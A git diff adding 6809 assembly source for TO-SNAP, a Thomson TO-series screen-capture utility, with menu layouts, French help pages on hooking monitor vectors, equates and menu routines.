+ FCB FINV,206,OFF
+ FCB FLOCR,0,9,1,8
+ FCB FTOURE,FCADRE
+ FCB FINV,207,OFF
+
+ FCB FLOCF,9,4,1,8
+ FCB FTOURE,FCADRE
+ FCB FINV,208,OFF
+ FCB FLOCR,0,9,1,8
+ FCB FTOURE,FCADRE
+ FCB FINV,209,OFF
+
+ FCB FLOCF,11,4,1,8
+ FCB FTOURE,FCADRE
+ FCB FINV,210,OFF
+ FCB FLOCR,0,9,1,8
+ FCB FTOURE,FCADRE
+ FCB FINV,211,OFF
+
+ FCB FLOCF,13,4,1,8
+ FCB FTOURE,FCADRE
+ FCB FINV,212,OFF
+ FCB FLOCR,0,9,1,8
+ FCB FTOURE,FCADRE
+ FCB FINV,213,OFF
+
+ FCB FLOCF,15,4,1,8
+ FCB FTOURE,FCADRE
+ FCB FINV,214,OFF
+ FCB FLOCR,0,9,1,8
+ FCB FTOURE,FCADRE
+ FCB FINV,215,OFF
+
+ FCB FLOCF,17,4,1,8
+ FCB FTOURE,FCADRE
+ FCB FINV,216,OFF
+ FCB FLOCR,0,9,1,8
+ FCB FTOURE,FCADRE
+ FCB FINV,217,OFF
+
+ FCB FLOCF,19,4,1,8
+ FCB FTOURE,FCADRE
+ FCB FINV,218,OFF
+ FCB FLOCR,0,9,1,8
+ FCB FTOURE,FCADRE
+ FCB FINV,219,OFF
+
+ FCB FLOCF,21,4,1,8
+ FCB FTOURE,FCADRE
+ FCB FINV,220,OFF
+ FCB FLOCR,0,9,1,8
+ FCB FTOURE,FCADRE
+ FCB FINV,221,OFF
+
+ FCB FLOCF,10,23,11,15
+ FCB FCOULF,VERTCL
+ FCB FFOND,FTOURE,FCADRE
+ FCB FCOULF,TRANSP
+
+ FCB FLOCR,1,1,1,1
+ FCB FTEXTE,BALISE,0
+ FCB FPOUSS,$56,OFF
+ FCB FEDI,HT,HT
+ FCC \Voir\
+ FCB 0
+ FCB FLOCR,2,0,1,1
+ FCB FTEXTE,BALISE,0
+ FCB FINV,$45,OFF
+ FCB FEDI,HT,HT
+ FCC \Echanger\
+ FCB 0
+ FCB FLOCR,2,0,1,1
+ FCB FTEXTE,BALISE,0
+ FCB FPOUSS,$53,OFF
+ FCB FEDI,HT,HT
+ FCC \Supprimer\
+ FCB 0
+ FCB FLOCR,2,0,1,1
+ FCB FTEXTE,BALISE,0
+ FCB FPOUSS,$41,OFF
+ FCB FEDI,HT,HT
+ FCC \Animers\
+ FCB 0
+ FCB FLOCR,2,0,1,1
+ FCB FTEXTE,BALISE,0
+ FCB FPOUSS,FF,OFF
+ FCB FEDI,HT,HT
+ FCC \Annuler\
+ FCB 0
+ FCB FLOCF,10,23,11,15
+ FCB FLOCR,7,10,1,2
+ FCB FTOURE,FCADRE
+ FCB FCZI,255,DECIM
+ FCB FSTOP
+
+FENMEN FCB FLOCF,0,0,15,18
+ FCB FCOULF,BLEUCI
+ FCB FFOND,FTOURE,FCADRE
+ FCB FCOMF,FF,OFF
+ FCB FLOCF,1,10,1,10
+ FCB FEDI
+ FCC \Vue\
+ FCB 0
+ FCB FLOCF,1,14,1,2
+ FCB FCOULF,BLANC
+ FCB FFOND,FTOURE,FCADRE
+ FCB FCOULF,TRANSP
+ FCB FLOCF,3,1,1,16
+ FCB FPOUSS,$4C,OFF
+ FCB FEDI
+ FCC \LANCERAVECSNAP\
+ FCB 0
+ FCB FLOCR,2,0,1,16
+ FCB FPOUSS,$44,OFF
+ FCB FEDI
+ FCC \DIAPORAMA\
+ FCB 0
+ FCB FLOCR,2,0,1,16
+ FCB FPOUSS,$49,OFF
+ FCB FEDI
+ FCC \INFOVIDEO\
+ FCB 0
+ FCB FLOCR,2,0,1,16
+ FCB FPOUSS,$46,OFF
+ FCB FEDI
+ FCC \FICHIERS\
+ FCB 0
+ FCB FLOCR,2,0,1,16
+ FCB FPOUSS,$4D,OFF
+ FCB FEDI
+ FCC \MODED'EMPLOI\
+ FCB 0
+ FCB FLOCR,2,0,1,16
+ FCB FPOUSS,$51,OFF
+ FCB FEDI
+ FCC \QUITTER\
+ FCB 0
+ FCB FSTOP
+
+FENTIT FCB FLOCF,0,0,6,19 titre
+ FCB FCOULF,ORANGE
+ FCB FFOND,FTOURE,FCADRE
+ FCB FLOCR,1,2,20,20
+ FCB FEDI
+ FCC \TO-SNAP\
+ FCB 0
+ FCB FLOCR,2,4,20,20
+ FCB FEDI
+ FCC \HMEL-92V1.1\
+ FCB 0
+ FCB FSTOP
+
+FENFIC FCB FLOCF,0,0,20,20
+ FCB FCOULF,BLEUCI
+ FCB FTOURE,FCADRE,FFOND
+ FCB FCOMF,FF,ON
+ FCB FLOCF,1,1,1,14
+ FCB FPOUSS,$50,OFF
+ FCB FEDI
+ FCC \Pr\
+ FCB SS2,$42
+ FCC \eciserunit\
+ FCB SS2,$42,$65
+ FCB 0
+ FCB FLOCR,2,0,1,14
+ FCB FPOUSS,$49,OFF
+ FCB FEDI
+ FCC \Initialiser\
+ FCB 0
+ FCB FLOCR,2,0,1,18
+ FCB FPOUSS,$43,OFF
+ FCB FEDI
+ FCC \Catalogue\
+ FCB 0
+ FCB FLOCR,2,0,1,18
+ FCB FPOUSS,$52,OFF
+ FCB FEDI
+ FCC \Renommerfichier\
+ FCB 0
+ FCB FLOCR,2,0,1,18
+ FCB FPOUSS,$53,OFF
+ FCB FEDI
+ FCC \Supprimerfichier\
+ FCB 0
+ FCB FLOCR,2,0,1,18
+ FCB FPOUSS,$44,OFF
+ FCB FEDI
+ FCC \Dupliquerfichier\
+ FCB 0
+ FCB FLOCR,3,0,1,18
+ FCB FPOUSS,$4C,OFF
+ FCB FEDI
+ FCC \Lire\
+ FCB SS2,$42
+ FCC \ecran\
+ FCB 0
+ FCB FLOCR,2,0,1,18
+ FCB FPOUSS,$45,OFF
+ FCB FEDI
+ FCC \Ecrire\
+ FCB SS2,$42
+ FCC \ecran\
+ FCB 0
+ FCB FLOCR,2,5,1,13
+ FCB FTEXTE
+ FCC \pellicule\
+ FCB BALISE,0
+ FCB FLOCR,0,10,1,1
+ FCB FINV,$10,OFF
+ FCB FCOULF,BLANC
+ FCB FLOCF,1,16,2,3
+ FCB FFOND,FTOURE,FCADRE
+ FCB FSTOP
+
+* Pages de mode d'emploi
+*---------------------------------------
+
+HLP1 FCC \TO-SNAPapourbut:\
+ FCB RC,LF,LF
+ FCC \-Lacaptured'\
+ FCB SS2,$42
+ FCC \ecransd'autres\
+ FCB RC,LF
+ FCC \logiciels.\
+ FCB RC,LF,LF
+ FCC \-Lam\
+ FCB SS2,$42
+ FCC \emorisationdeces\
+ FCB SS2,$42
+ FCC \ecrans\
+ FCB RC,LF
+ FCC \pourdiffusionult\
+ FCB SS2,$42
+ FCC \erieure.\
+ FCB RC,LF,LF
+ FCC \Lelogicielestcharg\
+ FCB SS2,$42
+ FCC \eentant\
+ FCB RC,LF
+ FCC \qu'application"cartou\
+ FCC \che"dedeux\
+ FCB RC,LF
+ FCC \banksetdemeuredoncr\
+ FCB SS2,$42
+ FCC \esidenten\
+ FCB RC,LF
+ FCC \RAM.\
+ FCB RC,LF
+ FCC \Apartirdecesoftil\
+ FCC \estpossible\
+ FCB RC,LF
+ FCC \d'activerd'autresprog\
+ FCC \rammesen\
+ FCB RC,LF
+ FCC \maintenantenm\
+ FCB SS2,$42
+ FCC \emoirenoncommutable\
+ FCB RC,LF
+ FCC \unimplantr\
+ FCB SS2,$42
+ FCC \eduitdontler\
+ FCB SS2,$43
+ FCC \olesera\
+ FCB RC,LF
+ FCC \decommuterpuisder\
+ FCB SS2,$42
+ FCC \eactiverTO-SNAP\
+ FCB 0
+
+HLP2 FCC \C'estund\
+ FCB SS2,$42
+ FCC \eroutementdevecteurs\
+ FCB RC,LF
+ FCC \RAMdumoniteurquiper\
+ FCC \metl'ex\
+ FCB SS2,$42
+ FCC \ecu-\
+ FCB RC,LF
+ FCC \tiondel'implant.\
+ FCB RC,LF,LF
+ FCC \UnefoisTO-SNAPrelan\
+ FCC \c\
+ FCB SS2,$42
+ FCC \e,l'\
+ FCB SS2,$42
+ FCC \ecran\
+ FCB RC,LF
+ FCC \courantestautomatique\
+ FCC \mentstock\
+ FCB SS2,$42
+ FCC \e\
+ FCB RC,LF
+ FCC \danslepremier\
+ FCB SS2,$42
+ FCC \ecrandemanoeuvre.\
+ FCB RC,LF,LF
+ FCC \Ilpeutalorssubir\
+ FCC \quelquesmodif-\
+ FCB RC,LF
+ FCC \ications(palette,tour\
+ FCC \quinepeut\
+ FCB RC,LF
+ FCC \\
+ FCB SS2,$43
+ FCC \etreacquisparlehard.\
+ FCC \..)puis\
+ FCB RC,LF
+ FCC \archiv\
+ FCB SS2,$42
+ FCC \esurfichier.\
+ FCB 0
+
+HLP3 FCC \Encasded\
+ FCB SS2,$42
+ FCC \eroutementdeRESETP,\
+ FCB RC,LF
+ FCC \l'activationdeTO-SNAP\
+ FCC \estobtenue\
+ FCB RC,LF
+ FCC \parlepoussoirINIT...\
+ FCB RC,LF,LF
+ FCC \ATTENTION:avecles\
+ FCC \ROMsstandards\
+ FCB RC,LF
+ FCC \l'\
+ FCB SS2,$42
+ FCC \ecrann'estcaptur\
+ FCB SS2,$42
+ FCC \eques'il\
+ FCB RC,LF
+ FCC \estenmodeTO7-70.(Je\
+ FCC \disposed'uneROMmodif\
+ FCC \i\
+ FCB SS2,$42
+ FCC \eesanscettelimitation\
+ FCC \).\
+ FCB RC,LF,LF
+ FCC \Encasded\
+ FCB SS2,$42
+ FCC \eroutementdeFIRQPTon\
+ FCB RC,LF
+ FCC \utilisel'interruption\
+ FCC \hardFIRQ\
+ FCB RC,LF
+ FCC \accessiblesurlebus\
+ FCC \ougraceau\
+ FCB RC,LF
+ FCC \6821syst\
+ FCB SS2,$41
+ FCC \emesurleconnecteurdu\
+ FCB RC,LF
+ FCC \crayonoptiqueparun\
+ FCC \poussoir\
+ FCB RC,LF
+ FCC \sp\
+ FCB SS2,$42
+ FCC \ecifique(pr\
+ FCB SS2,$42
+ FCC \evupourcodebarre).\
+ FCB 0
+
+HLP4 FCC \Encasded\
+ FCB SS2,$42
+ FCC \eroutementd'uneroutine\
+ FCB RC,LF
+ FCC \moniteur(GETLP..GETSC)\
+ FCC \l'implant\
+ FCB RC,LF
+ FCC \testelepoussoirci-de\
+ FCC \ssus.GETCH\
+ FCB RC,LF
+ FCC \etGETLPsontlesplus\
+ FCC \efficaces\
+ FCB RC,LF
+ FCC \puisquetr\
+ FCB SS2,$41
+ FCC \essouventutilis\
+ FCB SS2,$42
+ FCC \es.\
+ FCB RC,LF,LF
+ FCC \Encasded\
+ FCB SS2,$42
+ FCC \eroutementdeTIMEPT,\
+ FCB RC,LF
+ FCC \l'implantestappel\
+ FCB SS2,$42
+ FCC \eparl'horloge\
+ FCB RC,LF
+ FCC \syst\
+ FCB SS2,$41
+ FCC \eme.Iltestealorsle\
+ FCC \m\
+ FCB SS2,$43
+ FCC \eme\
+ FCB RC,LF
+ FCC \poussoir.\
+ FCB RC,LF,LF
+ FCC \Led\
+ FCB SS2,$42
+ FCC \eroutementBUFCLVestle\
+ FCC \plus\
+ FCB RC,LF
+ FCC \"tordu".Lebufferclav\
+ FCC \ierest\
+ FCB RC,LF
+ FCC \d\
+ FCB SS2,$42
+ FCC \erout\
+ FCB SS2,$42
+ FCC \esurlevecteurd'indir\
+ FCC \ection\
+ FCB RC,LF
+ FCC \RAMdeGETCH.Lasaisie\
+ FCC \de_lefait\
+ FCB RC,LF
+ FCC \passerde$FF8E\
+ FCB SS2,$41
+ FCC \a$5F8E,adresseo\
+ FCB SS2,$41
+ FCC \u\
+ FCB RC,LF
+ FCC \ond\
+ FCB SS2,$42
+ FCC \erouteGETCHversl'imp\
+ FCC \lantstd.\
+ FCB 0
+
+HLP5 FCC \Commeiln'estpaspos\
+ FCC \siblesurTO\
+ FCB RC,LF
+ FCC \des\
+ FCB SS2,$42
+ FCC \ecuriserlaRAM,ilfaut\
+ FCC \souvent\
+ FCB RC,LF
+ FCC \tatonnerpourtrouver\
+ FCC \led\
+ FCB SS2,$42
+ FCC \eroutement\
+ FCB RC,LF
+ FCC \quiconvient(ainsi\
+ FCC \qu'\
+ FCB SS2,$42
+ FCC \eventuel-\
+ FCB RC,LF
+ FCC \lementl'adressedel'\
+ FCC \implant).\
+ FCB RC,LF,LF
+ FCC \Ilya\
+ FCB SS2,$42
+ FCC \egalementdessofts\
+ FCC \blind\
+ FCB SS2,$42
+ FCC \es\
+ FCB RC,LF
+ FCC \quir\
+ FCB SS2,$42
+ FCC \einitialisenttousles\
+ FCC \vecteurs.\
+ FCB RC,LF
+ FCC \Seulesolution:d\
+ FCB SS2,$42
+ FCC \erouterRESETPavec\
+ FCB RC,LF
+ FCC \uneROMmoniteursp\
+ FCB SS2,$42
+ FCC \ecifique...\
+ FCB RC,LF,LF
+ FCC \Branchementdupoussoi\
+ FCC \r"travail"\
+ FCB RC,LF
+ FCC \entrelesplots2et4\
+ FCC \d'uneprise\
+ FCB RC,LF
+ FCC \51DINm\
+ FCB SS2,$43
+ FCC \ale5plots240\
+ FCB SS2,$30
+ FCB RC,LF,LF
+ FCC \42(vuecot\
+ FCB SS2,$42
+ FCC \esoudure)\
+ FCB RC,LF
+ FCC \3\
+ FCB 0
+
+HLP6 FCC \Lesfichiersg\
+ FCB SS2,$42
+ FCC \er\
+ FCB SS2,$42
+ FCC \esparTO-SNAPsont\
+ FCB RC,LF
+ FCC \des.MAPclassiquesave\
+ FCC \cdesinfos\
+ FCB RC,LF
+ FCC \suppl\
+ FCB SS2,$42
+ FCC \ementairespourlemode\
+ FCC \vid\
+ FCB SS2,$42
+ FCC \eo.\
+ FCB RC,LF,LF
+ FCC \LelogicielBASICTO-\
+ FCC \SNAP.BASvous\
+ FCB RC,LF
+ FCC \montrecommentutiliser\
+ FCC \compl\
+ FCB SS2,$41
+ FCC \etement\
+ FCB RC,LF
+ FCC \detelsfichiers\
+ FCB SS2,$41
+ FCC \apartirdevos\
+ FCB RC,LF
+ FCC \propresprogrammes!\
+ FCB 0
+
+HLP7 FCC \Commandesdisponibles\
+ FCC \horsmenu\ :\
+ FCB RC,LF,LF
+ FCC \L:\
+ FCC \lancementprog.avec\
+ FCC \SNAPactif\
+ FCB RC,LF
+ FCC \D:\
+ FCC \acc\
+ FCB SS2,$41
+ FCC \es\
+ FCC \audiaporama\
+ FCB RC,LF
+ FCC \I:\
+ FCC \acc\
+ FCB SS2,$41
+ FCC \esauxinfo.vid\
+ FCB SS2,$42
+ FCC \eo\
+ FCB RC,LF
+ FCC \F:\
+ FCC \acc\
+ FCB SS2,$41
+ FCC \esaumenufichier\
+ FCB RC,LF
+ FCC \Q:\
+ FCC \quitteTO-SNAP\
+ FCB RC,LF
+ FCB HT,SS2,$2C,SS2,$2D
+ FCC \:\
+ FCC \visualisel'\
+ FCB SS2,$42
+ FCC \eRCanpr\
+ FCB SS2,$42
+ FCC \ec\
+ FCB SS2,$42
+ FCC \edent\
+ FCB RC,LF
+ FCB HT,SS2,$2E,SS2,$2F
+ FCC \:\
+ FCC \visualisel'\
+ FCB SS2,$42
+ FCC \eRCansuivant\
+ FCB RC,LF
+ FCC \DEL:d\
+ FCB SS2,$42
+ FCC \etruitl'\
+ FCB SS2,$42
+ FCC \eRCancourant\
+ FCB RC,LF,LF
+ FCC \Commandesdufen\
+ FCB SS2,$43
+ FCC \etrage :\
+ FCB RC,LF,LF
+ FCC \RAZ:\
+ FCB SS2,$42
+ FCC \fermefen\
+ FCB SS2,$43
+ FCC \etre,annules\
+ FCB SS2,$42
+ FCC \election\
+ FCB RC,LF
+ FCC \ENT:\
+ FCC \acceptes\
+ FCB SS2,$42
+ FCC \election\
+ FCB 0
+
+* Motifs
+*---------------------------------------
+
+ FDB $F00F,$F00F,$F00F,$F00F
+TRAME EQU *
+
+ FDB $0000,$0000,$0000,$0000
+VIDE EQU *
+
+* Palette du mode dialogue
+*---------------------------------------
+
+PALDEF FDB 0000,0015,0240,0255
+ FDB 3840,3855,4080,4095
+ FDB 1911,0826,0931,0938
+ FDB 2611,2618,3815,0123
+
+* Mémorisation palette à l'appel
+*---------------------------------------
+
+TFMEMO FCB $FF
+TMEMO FDB $FFFF,$FFFF,$FFFF,$FFFF
+ FDB $FFFF,$FFFF,$FFFF,$FFFF
+ FDB $FFFF,$FFFF,$FFFF,$FFFF
+ FDB $FFFF,$FFFF,$FFFF,$FFFF
+
+* Mémo flag échec boot & vecteurs
+*---------------------------------------
+
+VECTMM FDB $0000,$0000,$0000,$0000
+ FDB $0000,$0000,$0000,$0000
+ FDB $0000,$0000,$0000
+TIMEMM FDB $0000
+IRQMM FDB $0000
+FIRQMM FDB $0000
+SWIMM FDB $0000
+PTGEMM FDB $0000
+RESEMM FCB $00
+ FDB $0000
+BUFCMM FDB $0000
+SIZCMM FCB $00
+USERMM FDB $0000
+FLGBOO FCB 0
+ADRIT FDB $608E
+
+* Mnémo des déroutements SNAP
+*---------------------------------------
+
+TYPDER FCB 0 défaut par FIRQ
+
+TABDER FCB $44,SS2,$42
+ FCC \erouteFIRQPT\
+ FCB 0,$44,SS2,$42
+ FCC \erouteRESETP\
+ FCB 0,$44,SS2,$42
+ FCC \erouteTIMEPT\
+ FCB 0,$44,SS2,$42
+ FCC \erouteGETLP\
+ FCB 0,$44,SS2,$42
+ FCC \erouteLPINT\
+ FCB 0,$44,SS2,$42
+ FCC \erouteGETPERI\
+ FCB 0,$44,SS2,$42
+ FCC \erouteGACHPERI\
+ FCB 0,$44,SS2,$42
+ FCC \eroutePUTCH\
+ FCB 0,$44,SS2,$42
+ FCC \erouteGETCH\
+ FCB 0,$44,SS2,$42
+ FCC \erouteDRAWXY\
+ FCB 0,$44,SS2,$42
+ FCC \eroutePLOTXY\
+ FCB 0,$44,SS2,$42
+ FCC \erouteRSCONT\
+ FCB 0,$44,SS2,$42
+ FCC \erouteGETPT\
+ FCB 0,$44,SS2,$42
+ FCC \erouteGETSC\
+ FCB 0,$44,SS2,$42
+ FCC \erouteBUFCLV\
+ FCB 0
+
+* Mnémo des modes graphiques
+*---------------------------------------
+
+TMNGR FCB $00,0
+ FCC \TO7-70\
+ FCB 0
+ FCB $80,1
+ FCC \80colonnes \
+ FCB 0
+ FCB $40,3
+ FCC \Bitmap 16 \
+ FCB 0
+ FCB $20,11
+ FCC \Tripleoverlay\
+ FCB 0
+ FCB $08,7
+ FCC \Doubleoverlay\
+ FCB 0
+ FCB $04,5
+ FCC \Page2\
+ FCB 0
+ FCB $02,4
+ FCC \Page1\
+ FCB 0
+ FCB $01,2
+ FCC \Bitmap 4 \
+ FCB 0
+ FCB $FF
+
+****************************************
+* M E S S A G E S *
+****************************************
+
+MLIRE FCB ESC,$4E
+ FCC \LIRE\
+ FCB ESC,$4C,0
+MOUT FCC \MEMOIREinsuffisante\
+ FCB 0
+MVFICH FCB ESC,$4E,HT,SS2,$2E
+ FCC \FICHIER\
+ FCB ESC,$4C,0
+MVPEL FCB ESC,$4E,HT,SS2,$2E
+ FCC \PELLICULE\
+ FCB ESC,$4C,0
+MCOMAL FCC \To-snap\
+ FCB 0
+MPLEIN FCC \PLUSD'ECRANVIERGE\
+ FCB 0
+MPASPH FCC \ECRANVIERGE\
+ FCB 0
+MERRX FCC \ERREURCOMMUNICATION\
+ FCB 0
+MPELVI FCC \PELLICULEVIERGE\
+ FCB 0
+MNUMP FCC \LAISSER2##(NUMERO)\
+ FCB 0
+MPATIR FCC \PASDETIROIR\
+ FCB 0
+PASBOO FCC \PASDESECTEURDEBOOT\
+ FCB 0
+MSANN FCC \SANS-NOM\
diff --git a/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-EQ.ASM b/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-EQ.ASM
new file mode 100755
index 0000000..0dc7fce
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-EQ.ASM
@@ -0,0 +1,308 @@
+ TITLE TO-PHOTO: Equates
+* ------------------------------
+ PAGE
+
+****************************************
+* *
+* TO-PHOTO *
+* *
+* Equates *
+* *
+****************************************
+
+
+* Definition des points d'entree dans
+* le moniteur TO9
+*-------------------------------------
+
+STATUS EQU $6019 état machine
+RANG EQU $601B rangee courante
+COLN EQU $6020 colonne courante
+IRQPT EQU $6021 vecteur IRQ
+FIRQPT EQU $6023 vecteur FIRQ
+TIMEPT EQU $6027 vecteur IT timer
+RSOPC EQU $602B
+USERAF EQU $602D pt car. user
+SWIPT EQU $602F vecteur SWI1
+FORME EQU $6038
+ATRANG EQU $6039 attrib. courants
+ATRSCR EQU $603A ... écran
+COLOUR EQU $603B couleur cour.
+TELETL EQU $603C mode page
+CHDRAW EQU $6041 tracé point ou car
+BAUDS EQU $6044
+NOMBRE EQU $6046
+MAXBK EQU $6047 dernier bank libre
+DKOPC EQU $6048 code op. DKCO
+DKDRV EQU $6049 drive courant
+DKNUM EQU $604D entrelacement
+SAVCOL EQU $605C
+REACLV EQU $605E pt buf clav
+SCRMOD EQU $605F mode écran
+WRICLV EQU $6067 pt buf clav
+BUFCLV EQU $6079 pt buffer clavier
+SIZCLV EQU $607B lg buffer clavier
+RUNFLG EQU $607F flag démarr. auto
+IDSAUT EQU $6082 buffer clav. std.
+RESETP EQU $6088 init. periph.
+PTGENE EQU $60CF géné. car.
+TSTRST EQU $60FE flag démarrage
+
+VALTYP EQU $6105 calculs
+FACMO EQU $6150
+FACLO EQU $6151
+ARGMO EQU $615B
+ARGLO EQU $615C
+DEBZON EQU $616B
+FINZON EQU $616E
+EOFFLG EQU $6178
+NAMSEC EQU $618E
+NAMSLT EQU $618F
+CARCOU EQU $6196
+SECBUF EQU $6197
+FATPTR EQU $6199
+COULGR EQU $619F couleur graphique
+TRATYP EQU $61A0 type tracé
+XXXXXX EQU $61A1 curseur graphique
+YYYYYY EQU $61A3 .
+XL EQU $61A5 marges graphiques
+YB EQU $61A7
+XR EQU $61A9
+YT EQU $61AB
+X0COD EQU $61D6
+Y0COD EQU $61D7
+X1COD EQU $61D8
+Y1COD EQU $61D9
+PASSCD EQU $61DB
+LSTBYT EQU $61DC
+FILFLG EQU $61EF flag remplissage
+AXEH EQU $61F1 rayons ellipses
+AXEV EQU $61F0
+CAMFLG EQU $61F2
+
+PUTFLG EQU $6249 mode cod/decod ima
+FILMOD EQU $624B
+FILTYP EQU $624C
+ASCFLG EQU $624D
+FILNAM EQU $624F nom fichier
+OPTBUF EQU $625A
+MACP EQU $627D pt motif rempliss.
+WITH EQU $6288 type tracé
+
+
+DRA EQU $E7CC registres 6821
+DDRA EQU $E7CC
+CRA EQU $E7CE manettes et son
+
+BANKC EQU $E7E5 gate commut bank
+
+SIOTRN EQU $E7E8 reg. TD/RD ACIA
+SIOSTA EQU $E7E9 reg. état ...
+SIOCMD EQU $E7EA reg. comm ...
+
+PUTC EQU $E803 edition ecran
+INITC EQU $E800 init ecran
+GETC EQU $E806 lecture clavier
+KTST EQU $E809 test clavier
+DRAW EQU $E80C ecriture trait
+PLOT EQU $E80F ecriture point
+RSCO EQU $E812 e/s
+GETL EQU $E818 lect souris
+LPIN EQU $E81B lect touche souris
+GETP EQU $E821 lect point graphi.
+GETS EQU $E824 lect écran
+DKCO EQU $E82A accès disquette
+MENU EQU $E82D retour TO9
+KBIN EQU $E830 clig. curs. IT
+SETP EQU $EC00 definition couleur
+COMS EQU $EC03 appel sur ROM
+EXTRA EQU $EC0C extra. moniteur
+RESETC EQU 0 .
+RESETW EQU 1 .
+FCBINI EQU 2 .
+OPEN EQU 3 .
+PRINT EQU 4 .
+INPUT EQU 5 .
+CLOSE EQU 6 .
+DIR0 EQU 8 .
+KILL EQU 14 .
+ERRMSG EQU 20 .
+CIRCLE EQU 24 .
+PSETXY EQU 25 .
+LINE EQU 26 .
+BOX EQU 27 .
+CHOIX EQU 28 .
+PAINT EQU 29 .
+MIG EQU 30 .
+SHOW EQU 33 .
+MOVE EQU 38 .
+INITOR EQU 39 .
+CMPTOR EQU 40 .
+SGN EQU 41 .
+SQR EQU 44 .
+FRCTYP EQU 50 .
+SUBGO EQU 55 .
+MULTGO EQU 56 .
+DIVGO EQU 57 .
+MOVFM EQU 62 .
+MOVMF EQU 63 .
+MOVAF EQU 64 .
+EXTFIN EQU 65 .
+CODE EQU 69 .
+
+SQI EQU $10 accès fichier
+SQO EQU $20
+
+
+* Equates MIG
+*---------------------------------------
+
+STOP EQU 0
+ABS EQU 5
+REL EQU 6
+LFCUR EQU 7
+FCUR EQU 8
+BOITE EQU 14
+ROND EQU 17
+
+* Equates caractères
+*---------------------------------------
+
+SOH EQU $01
+EOT EQU $04
+ACK EQU $06
+BS EQU $08 codes ASCII ctrl
+HT EQU $09
+LF EQU $0A
+VT EQU $0B
+FF EQU $0C
+RC EQU $0D
+NACK EQU $15
+SS2 EQU $16
+CAN EQU $18
+ESC EQU $1B
+INS EQU $1C
+EFF EQU $1D
+RS EQU $1E
+US EQU $1F
+SP EQU $20
+GRAVE EQU $41
+AIGU EQU $42
+CIRCON EQU $43
+DEL EQU $7F
+
+* Définition des couleurs bit map 4
+*---------------------------------------
+
+TROSE EQU 7
+TROUGE EQU 6
+TCYAN EQU 5
+TBLEU EQU 4
+BMNOIR EQU 3
+BMGRIS EQU 2
+BMCLR EQU 1
+BMBLAN EQU 0
+
+
+* Définition des bank RAM utilisées
+*---------------------------------------
+
+*BKMANO EQU 2 RAM manoeuvre
+* (variable)
+PBKPIL EQU 3 Pile fenêtre
+DBKPIL EQU 6
+PBKPEL EQU 7 pellicule
+
+* Déplacements sur RAM
+*---------------------------------------
+
+ ORG $6800
+
+PILE EQU *-1 pile soft
+
+PAGE0 EQU *
+
+SEGM0 RMB 1
+SEGM1 RMB 1
+SOMME RMB 1
+CPTGEN RMB 1
+
+ZONFEN RMB 1080 zone fenêtrage
+
+REGCC RMB 1 pile (/U) des
+REGA RMB 1 param FEN
+REGB RMB 1
+REGX RMB 2
+REGY RMB 2
+PILFEN EQU *
+
+BKMANO RMB 1 bank manoeuvre
+BKVID RMB 1 bank video
+
+DESCOU RMB 8 fichier courant
+
+DESALB RMB 9 album courant
+
+TABPHO RMB 22 table photos
+* 0 libre
+TABBK RMB 22 table banks
+TABMOD RMB 22 mode vidéo (basic)
+TABNOM RMB 22*8 noms
+
+PALETE RMB 16*2 palette courante
+TOUR RMB 1
+
+NUMPHO RMB 1 no photo cour.
+NUMALB RMB 1 no photo album
+OLDPHO RMB 1 ancienne
+MAXPHO RMB 1 no max
+PRMPHO RMB 1 1ére non vierge
+
+XCOULT RMB 1 couleur tour
+
+AVCOUL RMB 1 effet palette
+APCOUL RMB 1
+
+FLGSNA RMB 1
+
+ RMB 8
+PLEIN EQU *
+
+MEMTPO RMB 2
+MEMCOD RMB 1
+OUTIL RMB 1
+REMPLI RMB 1
+MAN1 RMB 1
+MAN2 RMB 1
+
+* 6 descriptions d'applications
+*---------------------------------------
+
+APLTAB RMB 6*33
+APLBK SET 0 parm COMS -1=>pas
+APLMES SET 1 message
+APLSOC SET 27 soco
+APLAD1 SET 29 adresses
+APLAD2 SET 31
+
+* Buffers
+*---------------------------------------
+
+BUF RMB 128 buffer manoeuvre
+
+* Zone manoeuvre
+* utilise tout le bank RAM
+*---------------------------------------
+
+ZONTRA EQU $A000
+LGZTRA EQU $E000-ZONTRA
+FINTRA EQU $DFFF
+
+* Zone manoeuvre
+* utilisé pour gérer une photo
+*---------------------------------------
+
+MAPPHO EQU $A000
+TOUPHO EQU $DFDE tour
+MBSPHO EQU $DFDF mode basic
+PALPHO EQU $DFE0
diff --git a/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-MN.ASM b/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-MN.ASM
new file mode 100755
index 0000000..42b903a
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-MN.ASM
@@ -0,0 +1,1388 @@
+ TITLE TO-SNAP:Menusderoulants
+* ---------------------------------
+ PAGE
+
+****************************************
+* *
+* Menu déroulants *
+* *
+****************************************
+
+
+*=======================================
+* S/P menu déroulant de gestion info
+*=======================================
+
+MENINF EQU *
+ LEAS -39,S
+PBLEU SET 0
+PVERT SET 1
+PROUGE SET 2
+NOPAL SET 3
+MTOUR SET 4
+MMODE SET 5
+MPAL SET 7 32 octets palette
+*---------------------------------------
+
+ LDX #FENINF
+ LDD 3,X
+ JSR POPUP
+ JSR FENOUV
+
+ LDA NUMPHO
+ LDX #TABBK
+ LDA A,X
+ STA BANKC
+
+ LDA TOUR
+ STA MTOUR,S
+
+ LDA #16
+ LDX #PALPHO
+ LEAY MPAL,S
+LIPAI LDU ,X++
+ STU ,Y++
+ DECA
+ BNE LIPAI ->
+
+ LDA NUMPHO
+ LDX #TABMOD
+ LDB A,X
+ STB MMODE,S
+ LDX #TMNGR
+BAFMV LDA ,X
+ CMPA #$FF
+ BEQ PERMO pas trouve ->
+ CMPA MMODE,S
+ BEQ POKMO ->
+ LEAX 17,X
+ BRA BAFMV ->
+PERMO LDX #TMNGR
+POKMO STX MMODE,S
+
+ CLR NOPAL,S
+EXCI00 LEAX MPAL,S
+ LDA NOPAL,S
+ LSLA
+ LEAX A,X
+ LDA ,X
+ ANDA #$0F
+ STA PBLEU,S
+ LDA 1,X
+ LSRA
+ LSRA
+ LSRA
+ LSRA
+ STA PVERT,S
+ LDA 1,X
+ ANDA #$0F
+ STA PROUGE,S
+
+EXECI0 JSR FENDES
+ LDB #$5A coul palette
+ JSR FENCH
+ CLRA
+ LDB NOPAL,S
+ LDX #BUF
+ LDY #2
+ JSR BINDCD
+ JSR FENEDI
+
+ LDA PBLEU,S
+ LDB PVERT,S
+ LSLB
+ LSLB
+ LSLB
+ LSLB
